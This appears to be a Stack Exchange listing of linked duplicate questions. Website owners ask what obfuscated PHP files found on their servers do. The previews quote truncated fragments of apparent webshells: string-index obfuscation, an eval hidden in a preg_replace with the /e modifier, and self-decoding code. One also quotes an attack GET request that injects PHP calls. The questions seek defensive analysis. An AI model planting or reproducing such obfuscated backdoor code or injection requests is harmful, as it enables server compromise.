Linked Questions

0
votes
1answer
341 views

Is this strange PHP file that I found on my server malicious? [duplicate]

I found a PHP file that I don't know where it came from on my server: <?php $ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $...
0
votes
1answer
363 views

Execution of PHP function's through HTTP GET request by hacker [duplicate]

We are continuously receiving following requests on our apache server from the hackers ?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0); @set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
0
votes
1answer
479 views

Strange PHP file found on web server [duplicate]

I've found a very strange PHP file with a very long regexp in a customer web server. The file is named 'god.php', and this is their content: <?php preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\...
-3
votes
1answer
970 views

I need to decode this suspicious code and explain what it is doing? [duplicate]

$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd'; $spvgazs = Array(); $spvgazs[] = $llkas[10].$llkas[15]; $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$...
2
votes
0answers
55 views

What can be done to decode/recover encoded PHP files? [duplicate]

We had a former employee handling one of our servers where XAMPP was used to host some PHP based websites. Now that employee left the organization due to some management issues. Yesterday we needed ...
1
vote
0answers
68 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
1
vote
0answers
38 views

Found possible malware code on site - contacted owner - what does it do? [duplicate]

Small question. I'm trying to figure out what a piece of code does that I came across on a website I visited. The website has obviously been hacked into, as there's a bunch of minified PHP code up ...
1
vote
0answers
145 views

Obfuscated PHP code found in WordPress core files and plugins [duplicate]

I am running a Wordpress website and I've recently found this php code injected in many of my php files. https://www.unphp.net/decode/fb4715ee71b28135f6807389df42611c/ I tried adding some print_r(...
1
vote
0answers
60 views

Bizarre php file appeared in the image gallery folder of my website [duplicate]

Can anyone tell what this is or how it could possibly have made it to the image gallery folder of my website? It appears to be a bunch of variable definitions. Mind you that a period "." is the concat ...
0
votes
0answers
25 views

How do I go about decoding this malicious PHP script? [duplicate]

I came upon this script just by luck, actually. Ironically, it's stored in a protected folder on my website and I don't think <? $catches ='r'; $comforter ='$r)ciEVi'; $heroin = 'SgD'; $...
0
votes
0answers
20 views

How to deobfuscate malicious PHP code [duplicate]

This is my first malware analyis, so apologies for my probably noob-like question. I'm having a look at a website running an outdated version of Wordpress which was hacked. The Website runs on a ...
0
votes
0answers
22 views

I found this code in my wp-content/uploads/woocommerce_uploads/wp-user-new.php [duplicate]

<?php function Gljng($ZOege, $INLWC = '') { $X_6Nm = $ZOege; $v9BZR = ''; for ($hfEHR = 0; $hfEHR < strlen($X_6Nm);) { for ($SsuGo = 0; $SsuGo < strlen($INLWC) && $hfEHR < ...
0
votes
0answers
58 views

How can I tell is the hidden PHP code inside of a GIf file is dangerous? [duplicate]

I'm helping out a friend with a PHP website he has been running for a few years. He is not PHP developer, so he asked if I could help him out. I download the contents of the server files onto my ...
0
votes
0answers
39 views

Hacking attempts to our server - what does this code do? [duplicate]

Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like css2.php db_model.php ....
0
votes
0answers
60 views

Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing? [duplicate]

Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing? fuifsaat.php <?php $hereto= '](^';$canon =':';$heroine= '(rp:L'...

15 30 50 per page